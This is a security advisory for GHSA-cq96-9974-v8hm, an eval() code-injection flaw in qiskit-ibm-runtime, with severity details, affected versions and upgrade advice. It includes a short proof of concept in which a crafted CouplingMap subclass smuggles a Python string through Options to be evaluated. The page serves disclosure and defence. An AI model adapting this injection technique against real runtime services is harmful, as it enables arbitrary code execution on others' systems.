GHSA-cq96-9974-v8hm Dynamic Variable Evaluation in qiskit-ibm-runtime
Arbitrary code execution via eval() in qiskit-ibm-runtime allows attackers to inject malicious Python code through crafted options.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-cq96-9974-v8hm?
GHSA-cq96-9974-v8hm is a code injection vulnerability in qiskit-ibm-runtime, published on 20 Mar 2024. Any signed-in user can exploit it over the network, with no action from the victim.
Official description
Summary
An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.
Details
PoC
A local exploit would be something like
from qiskit import transpiler
class BadActor(transpiler.CouplingMap):
def __str__(self):
return "print('external code')"
Where print("external code") can be any arbitrary python code string.
Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit
cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))
bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()
with Session(service=service, backend="ibmq_qasm_simulator") as session:
sampler = Sampler(session=session, options=options).run(bell)
This will print external code
Impact
Security vulnerability.
Which versions are affected by GHSA-cq96-9974-v8hm?
2 open source packages ship an affected version, including qiskit-ibm-runtime.
| Package | Affected | Fixed in |
|---|---|---|
qiskit-ibm-runtime PyPI | From 0.11.0 | 0.11.1 |
qiskit-ibm-runtime PyPI | From 0.11.0 | 0.11.1 |
How do I fix GHSA-cq96-9974-v8hm?
Upgrade qiskit-ibm-runtime to 0.11.1 or later.
Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.
Is GHSA-cq96-9974-v8hm being exploited?
There is no known exploitation of GHSA-cq96-9974-v8hm in the wild and no public exploit code.